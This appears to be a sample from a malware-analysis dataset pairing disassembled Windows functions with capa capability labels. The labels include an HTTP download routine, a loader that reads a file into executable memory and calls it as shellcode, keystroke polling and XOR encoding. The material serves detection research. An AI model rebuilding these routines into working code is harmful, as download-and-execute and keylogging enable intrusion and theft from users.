joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002210
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e63b
mov eax, dword fs:[0]
push eax
mov eax, 0x10bc
call fcn.10018150
mov eax, dword [0x1002565c]
xor eax, ebp
mov dword [ebp - 0xc0], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10002371
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10002347
push 1
push 0x40
push 0x20
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0xbc]
call fcn.10003340
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xbc]
call fcn.100034a0
movzx eax, al
test eax, eax
je 0x1000230b
lea ecx, [ebp - 0x10c8]
push ecx
push 0x1000
lea edx, [ebp - 0x10c4]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100022fe
cmp dword [ebp - 0x10c8], 0
jbe 0x100022fe
mov ecx, dword [ebp - 0x10c8]
xor edx, edx
push edx
push ecx
lea eax, [ebp - 0x10c4]
push eax
lea ecx, [ebp - 0xbc]
call fcn.10002d10
jmp 0x100022b6
lea ecx, [ebp - 0xbc]
call fcn.100034c0
jmp 0x10002329
push 0x10002150
push str.Failed_to_open_file_for_writing.
push 0x10026a50
call fcn.10007d60
add esp, 8
mov ecx, eax
call fcn.10002870
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc]
call fcn.100023b0
jmp 0x10002365
push 0x10002150
push str.Failed_to_open_URL.
push 0x10026a50
call fcn.10007d60
add esp, 8
mov ecx, eax
call fcn.10002870
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1000238f
push 0x10002150
push str.Failed_to_open_Internet.
push 0x10026a50
call fcn.10007d60
add esp, 8
mov ecx, eax
call fcn.10002870
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0xc0]
xor ecx, ebp
call fcn.10009614
mov esp, ebp
pop ebp
ret
Function at 0x10002510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push 0x10022200
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x10]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004bb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e2c8
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x1002565c]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x44], 0
je 0x10004bf0
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x10004bfc
mov al, 1
jmp 0x10004d9f
mov dword [ebp - 0x10], 8
call fcn.100011a0
push eax
mov eax, dword [ebp - 0x58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x58]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.100011a0
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.10001150
add esp, 8
movzx eax, al
test eax, eax
je 0x10004c3f
xor al, al
jmp 0x10004d9f
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.10004250
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x34]
call fcn.10004410
mov ecx, eax
call fcn.10005ce0
mov esi, eax
lea ecx, [ebp - 0x34]
call fcn.10005b60
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x34]
call fcn.10004410
mov ecx, eax
call fcn.10005ce0
push eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x4c
push ecx
mov edx, dword [ebp - 0x58]
mov ecx, dword [edx + 0x44]
call fcn.100070d0
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x10004cba
cmp dword [ebp - 0x5c], 1
je 0x10004cc1
cmp dword [ebp - 0x5c], 3
je 0x10004d5b
jmp 0x10004d73
mov eax, dword [ebp - 0x58]
mov byte [eax + 0x49], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x34]
call fcn.10004410
mov ecx, eax
call fcn.10005ce0
mov edx, dword [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x10004d24
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x34]
call fcn.10004410
mov ecx, eax
call fcn.10005ce0
push eax
call fcn.1000a8e0
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x10004d24
mov byte [ebp - 0x51], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.100027a0
mov al, byte [ebp - 0x51]
jmp 0x10004d9f
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x10004d47
mov byte [ebp - 0x52], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.100027a0
mov al, byte [ebp - 0x52]
jmp 0x10004d9f
cmp dword [ebp - 0x38], 0
jne 0x10004d59
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.100042d0
jmp 0x10004d8b
mov byte [ebp - 0x53], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.100027a0
mov al, byte [ebp - 0x53]
jmp 0x10004d9f
mov byte [ebp - 0x54], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.100027a0
mov al, byte [ebp - 0x54]
jmp 0x10004d9f
jmp 0x10004c52
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.10009614
mov esp, ebp
pop ebp
ret

Function at 0x10009614
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002565c]
jne 0x1000961e
repz ret
jmp fcn.1000e092
Function at 0x1001883b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002565c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10010fd7
and dword [ebp - 0x14], 0
cmp dword [0x10027918], 0
mov dword [ebp - 0x18], eax
jne 0x100188ee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10018996
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10018996
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10027918], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1002791c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10027920], eax
call edi
push eax
call esi
mov dword [0x10027928], eax
test eax, eax
je 0x100188ee
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10027924], eax
mov eax, dword [0x10027924]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10018947
cmp dword [0x10027928], ecx
je 0x10018947
push eax
call esi
push dword [0x10027928]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10018947
test ebx, ebx
je 0x10018947
call edi
test eax, eax
je 0x1001893e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001893e
test byte [ebp - 8], 1
jne 0x10018947
or dword [ebp + 0x10], 0x200000
jmp 0x1001897a
mov eax, dword [0x1002791c]
cmp eax, dword [ebp - 0x18]
je 0x1001897a
push eax
call esi
test eax, eax
je 0x1001897a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001897a
mov eax, dword [0x10027920]
cmp eax, dword [ebp - 0x18]
je 0x1001897a
push eax
call esi
test eax, eax
je 0x1001897a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10027918]
call esi
test eax, eax
je 0x10018996
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10018998
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10009614
leave
ret
Function at 0x401087
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
push esi
push edi
lea eax, [ebp - 0x220]
push eax
mov edi, 0x104
push edi
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push dword [ebp + 8]
call fcn.004013e8
call fcn.00445a7a
test eax, eax
je 0x4010d8
push 0x10
push 0x46bda6
push 0x46bda8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40128b
cmp dword [0x48a324], 0
mov ebx, 0x48a338
jne 0x401106
push 0xffffffffffffffff
push dword [0x48a32c]
mov esi, 0x48b470
push 1
call fcn.0040827f
mov al, byte [0x4795bc]
mov byte [0x48b472], al
jmp 0x401154
lea eax, [ebp - 2]
push eax
push 0x48a324
mov esi, ebx
mov eax, 0x48b470
call fcn.004088c3
test al, al
jne 0x40112e
mov dword [0x4795d4], 1
jmp 0x40127e
mov al, byte [0x48b470]
mov byte [0x48a328], al
mov al, byte [0x48b471]
push 0x48a320
mov byte [ebp - 1], al
lea eax, [ebp - 0x430]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push dword [0x48a324]
push ebx
call fcn.0041b35f
test eax, eax
je 0x40118a
mov edi, 0x48b470
call fcn.00408435
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x4795d4], 1
jmp 0x40128b
cmp byte [ebp - 1], 1
jne 0x401239
cmp byte [0x48a2f5], 1
jne 0x401239
call fcn.0040f69d
test al, al
jne 0x401239
push edi
lea eax, [ebp - 0x430]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp byte [ebp - 2], 0
je 0x401212
mov edi, 0x46be10
push edi
lea esi, [ebp - 0x10]
call fcn.0040ffd4
push ebx
mov eax, esi
call fcn.00410227
push edi
mov eax, esi
call fcn.00410227
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x430]
push eax
push 0x46be14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [0x467414]
push dword [ebp - 0x10]
call fcn.0044f951
pop ecx
jmp 0x401274
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x430]
push eax
push 0x46be14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [0x467414]
jmp 0x401274
call fcn.00401292
call fcn.00401377
cmp byte [0x48a328], 0
mov esi, 0x48aaf0
jne 0x401258
mov eax, esi
call fcn.0040bbb0
push 1
mov ecx, 0x48a548
call fcn.0041b513
cmp byte [0x48a328], 0
jne 0x401274
mov ecx, esi
call fcn.0040c0ba
mov edi, 0x48b470
call fcn.00408435
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x407d95
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20630
call fcn.00454dd0
push ebx
xor ebx, ebx
push esi
push edi
push 0x400
mov byte [0x48b470], bl
mov byte [0x48b471], bl
mov byte [0x48b472], bl
mov dword [0x48b474], ebx
mov dword [0x48b478], ebx
mov dword [0x48b47c], ebx
mov dword [0x48b480], ebx
mov dword [0x48b484], 0x472620
mov dword [0x48b488], ebx
mov dword [0x48b48c], ebx
mov dword [0x48b490], ebx
mov dword [0x48b494], 0x472620
mov dword [0x48b498], ebx
mov dword [0x48b49c], ebx
mov dword [0x48b4a0], ebx
mov dword [0x48b4a8], ebx
mov dword [0x48b4b0], ebx
call fcn.0044f8e7
pop ecx
mov dword [0x48b4a4], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0045237c
push esi
lea eax, [ebp - 0x424]
push 0x46c674
push eax
call fcn.004523c6
push ebx
push ebx
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00452403
mov edi, 0x20a
push edi
call fcn.0044f8e7
mov ecx, dword [0x48b4a4]
mov edx, dword [0x48b4a8]
mov dword [ecx + edx*4], eax
mov ecx, dword [0x48b4a8]
mov eax, dword [0x48b4a4]
mov eax, dword [eax + ecx*4]
inc dword [0x48b4a8]
lea ecx, [ebp - 0x21c]
push ecx
push eax
call fcn.0044f86d
add esp, 0x40
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
push 0x46c684
push 0x80000001
call dword [fcn.00467044]
test eax, eax
jne 0x407ffc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20630]
push eax
push ebx
push ebx
push 0x46c674
push dword [ebp - 0xc]
mov dword [ebp - 4], 0x1fffe
call dword [fcn.00467040]
test eax, eax
jne 0x407ff3
shr dword [ebp - 4], 1
mov eax, dword [ebp - 4]
add eax, eax
mov word [ebp + eax - 0x20630], bx
mov word [ebp + eax - 0x2062e], bx
lea eax, [ebp - 0x20630]
mov word [ebp - 0x21c], bx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp ax, bx
mov word [ebp - 0x10], ax
mov word [ebp - 0xe], bx
je 0x407f65
cmp ax, 0x3b
je 0x407f65
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0044f843
pop ecx
pop ecx
jmp 0x407fea
lea eax, [ebp - 0x21c]
push eax
call fcn.0045177a
test eax, eax
pop ecx
je 0x407fa1
lea eax, [ebp - 0x21c]
push eax
call fcn.0045177a
cmp word [ebp + eax*2 - 0x21e], 0x5c
pop ecx
je 0x407fa1
lea eax, [ebp - 0x21c]
push 0x46c6b8
push eax
call fcn.0044f843
pop ecx
pop ecx
push edi
call fcn.0044f8e7
mov ecx, dword [0x48b4a4]
mov edx, dword [0x48b4a8]
mov dword [ecx + edx*4], eax
mov ecx, dword [0x48b4a8]
mov eax, dword [0x48b4a4]
mov eax, dword [eax + ecx*4]
inc dword [0x48b4a8]
push esi
lea ecx, [ebp - 0x21c]
push ecx
push eax
call fcn.00451790
mov eax, dword [ebp - 8]
add esp, 0x10
cmp word [eax], bx
mov word [ebp - 0x21c], bx
je 0x407ff3
add dword [ebp - 8], 2
jmp 0x407f35
push dword [ebp - 0xc]
call dword [fcn.0046703c]
pop edi
pop esi
mov eax, 0x48b470
pop ebx
leave
ret
Function at 0x408e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
add ecx, eax
push ebx
push edi
mov edi, dword [ecx]
add eax, 4
mov dword [esi], eax
xor ecx, ecx
push 2
pop edx
lea eax, [edi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0044f8e7
mov ecx, dword [esi]
add ecx, dword [ebp + 8]
lea ebx, [edi + edi]
push ebx
push ecx
push eax
mov dword [ebp - 4], eax
call fcn.0044fd10
mov eax, dword [ebp - 4]
add dword [esi], ebx
xor ecx, ecx
add esp, 0x10
cmp edi, ecx
mov word [ebx + eax], cx
jle 0x408e79
xor word [eax + ecx*2], di
inc ecx
cmp ecx, edi
jl 0x408e70
pop edi
pop ebx
leave
ret 4

Function at 0x409af8
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
push edi
push 5
pop eax
mov dword [0x48a548], eax
mov dword [0x48a54c], eax
mov al, byte [0x48a765]
xor ebx, ebx
neg al
push ebx
push 0x5b
mov dword [0x48a784], ebx
mov byte [0x48a550], 1
mov byte [0x48a551], bl
mov dword [0x48a554], ebx
sbb eax, eax
and eax, 0xffffff70
add eax, 0xa0
mov dword [0x48a794], eax
call esi
push ebx
push 0x10
mov byte [0x48a791], al
call esi
push ebx
push dword [0x48a794]
mov byte [0x48a78e], al
call esi
push ebx
push 0xa1
mov byte [0x48a78f], al
call esi
push ebx
push 0x11
mov byte [0x48a790], al
call esi
push ebx
push 0x12
mov byte [0x48a78c], al
call esi
mov byte [0x48a78d], al
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
xor edi, edi
inc edi
lea esi, [edi + 0x478710]
movzx eax, byte [esi]
push eax
call dword [sym.imp.USER32.dll_VkKeyScanA]
cmp ax, 0xffff
jne 0x409bb0
mov byte [esi], 0x20
inc edi
cmp edi, 7
jle 0x409b97
lea eax, [ebp - 8]
push 0x46ce1c
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
pop edi
pop esi
pop ebx
jne 0x409bf8
push 4
lea eax, [ebp - 0xc]
push 0x46ce24
push eax
call fcn.004525f8
add esp, 0xc
test eax, eax
mov byte [0x478712], 0x20
mov byte [0x478715], 0x20
je 0x409c8a
jmp 0x409c75
lea eax, [ebp - 8]
push 0x46ce2c
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
jne 0x409c15
mov byte [0x478712], 0x20
jmp 0x409c6e
lea eax, [ebp - 6]
push 0x46ce34
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
jne 0x409c32
mov byte [0x478715], 0x20
jmp 0x409c83
lea eax, [ebp - 6]
push 0x46ce38
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
je 0x409c0c
lea eax, [ebp - 6]
push 0x46ce3c
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
je 0x409c83
lea eax, [ebp - 6]
push 0x46ce40
push eax
call fcn.00452570
test eax, eax
pop ecx
pop ecx
jne 0x409c8a
mov byte [0x478715], 0x20
mov byte [0x478716], 0x20
mov byte [0x478713], 0x20
mov byte [0x478714], 0x20
leave
ret
Function at 0x40b187
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
xor ebx, ebx
cmp word [eax], bx
push esi
mov esi, ecx
mov byte [ebp - 1], 1
mov dword [ebp - 0xc], ebx
jne 0x40b1a6
xor al, al
jmp 0x40b2cc
push eax
or eax, 0xffffffff
call fcn.0040fc4b
mov ecx, dword [ebp + 0x10]
mov byte [ecx], bl
mov ecx, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x10], eax
mov byte [esi], bl
mov byte [edi], bl
mov byte [ecx], bl
call fcn.00451ee0
inc eax
push eax
call fcn.0044f8e7
add esp, 0xc
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov al, byte [ecx + ebx]
cmp al, 0x2b
je 0x40b1ed
cmp al, 0x5e
je 0x40b1e9
cmp al, 0x21
je 0x40b1e9
cmp al, 0x23
jne 0x40b211
cmp al, 0x2b
jne 0x40b1f2
mov eax, dword [ebp + 0xc]
jmp 0x40b202
cmp al, 0x5e
jne 0x40b1fb
mov byte [edi], 1
jmp 0x40b20e
cmp al, 0x21
jne 0x40b207
mov eax, dword [ebp + 0x10]
mov byte [eax], 1
jmp 0x40b20e
cmp al, 0x23
jne 0x40b20e
mov byte [esi], 1
inc ebx
jmp 0x40b1d3
mov al, byte [ecx + ebx]
inc ebx
cmp al, 0x7b
mov byte [ebp - 0x18], al
mov dword [ebp - 0x14], ebx
jne 0x40b27c
mov ebx, dword [ebp - 8]
lea edx, [ebp - 0x14]
mov esi, ecx
add al, 2
call fcn.0040b0af
test eax, eax
je 0x40b238
mov byte [ebp - 1], 0
jmp 0x40b2ae
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
push ebx
push dword [esi*4 + 0x478398]
call fcn.00464a15
test eax, eax
pop ecx
pop ecx
je 0x40b25a
inc esi
cmp esi, 0x62
mov dword [ebp - 0xc], esi
jl 0x40b238
cmp esi, 0x62
jne 0x40b265
movzx eax, byte [ebx]
push eax
jmp 0x40b27f
cmp byte [esi + 0x478520], 0
jne 0x40b232
mov eax, dword [esi*4 + 0x478588]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x40b2ae
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov ecx, dword [ebp + 8]
movsx eax, ax
test ax, 0x200
mov dword [ecx], eax
je 0x40b296
mov byte [edi], 1
test ax, 0x400
je 0x40b2a2
mov ecx, dword [ebp + 0x10]
mov byte [ecx], 1
test ax, 0x100
je 0x40b2ae
mov eax, dword [ebp + 0xc]
mov byte [eax], 1
mov eax, dword [ebp + 8]
push dword [ebp - 0x10]
and dword [eax], 0xff
call fcn.0044f951
push dword [ebp - 8]
call fcn.0044f951
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop esi
pop ebx
leave
ret 0xc
Function at 0x40b59a
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
xor ebx, ebx
xor edi, edi
lea eax, [esi + 0x20]
cmp dword [eax], ebx
je 0x40b5b7
inc edi
add eax, 8
cmp edi, 0x10
jl 0x40b5aa
cmp edi, 0x10
jne 0x40b5c3
xor eax, eax
jmp 0x40b663
cmp byte [esi + 0x18], 1
jne 0x40b63a
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 4]
lea eax, [esi + edi*8 + 0x1c]
push ebx
push 0x438
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp dword [esi + 8], ebx
jne 0x40b616
push 0x46c61c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [esi], eax
je 0x40b616
push 0x46ce80
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
cmp eax, ebx
jne 0x40b622
mov eax, 0x4296da
mov ecx, dword [ebp + 0xc]
push 4
push 0x1000
push dword [ebp + 8]
lea esi, [esi + edi*8 + 0x20]
push ebx
push dword [ecx]
call eax
jmp 0x40b661
push ebx
push dword [ebp + 8]
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
push 0xf001f
mov dword [esi + edi*8 + 0x1c], eax
push eax
lea esi, [esi + edi*8 + 0x20]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi], eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40d133
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [esi]
test al, 3
je 0x40d1b3
push ebx
xor ebx, ebx
inc ebx
test bl, al
je 0x40d15c
lea eax, [ebp - 8]
push eax
push dword [esi + 4]
call fcn.0045298a
mov eax, dword [ebp - 8]
or eax, dword [ebp - 4]
pop ecx
pop ecx
jne 0x40d1b2
mov eax, dword [esi]
test al, 0x20
je 0x40d177
push dword [esi + 4]
push 2
push ebx
push 0x46cf30
call fcn.00452b54
mov dword [esi + 0xc], ebx
jmp 0x40d1af
test al, 0x40
je 0x40d194
push dword [esi + 4]
push 2
push ebx
push 0x46cf34
call fcn.00452b54
mov dword [esi + 0xc], 2
jmp 0x40d1af
test al, al
jns 0x40d1b2
push dword [esi + 4]
push 3
push ebx
push 0x46cf38
call fcn.00452b54
mov dword [esi + 0xc], 4
add esp, 0x10
pop ebx
leave
ret

Function at 0x40d1e7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and dword [esi + 0xc], 0
push edi
push 0x46cf3c
push dword [ebp + 8]
mov byte [esi + 8], 0
call fcn.0045286b
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x40d272
push ebx
push edi
push 3
lea eax, [ebp + 8]
push 1
push eax
call fcn.00452f60
push edi
mov ebx, eax
call fcn.00452c48
add esp, 0x14
push 2
pop eax
cmp ebx, eax
jb 0x40d24f
cmp byte [ebp + 8], 0xff
jne 0x40d23e
cmp byte [ebp + 9], 0xfe
jne 0x40d24f
mov dword [esi + 0xc], 1
jmp 0x40d26d
cmp byte [ebp + 8], 0xfe
jne 0x40d24f
cmp byte [ebp + 9], 0xff
jne 0x40d24f
mov dword [esi + 0xc], eax
jmp 0x40d26d
cmp ebx, 3
jb 0x40d271
cmp byte [ebp + 8], 0xef
jne 0x40d271
cmp byte [ebp + 9], 0xbb
jne 0x40d271
cmp byte [ebp + 0xa], 0xbf
jne 0x40d271
mov dword [esi + 0xc], 4
mov byte [esi + 8], 1
pop ebx
pop edi
pop ebp
ret 4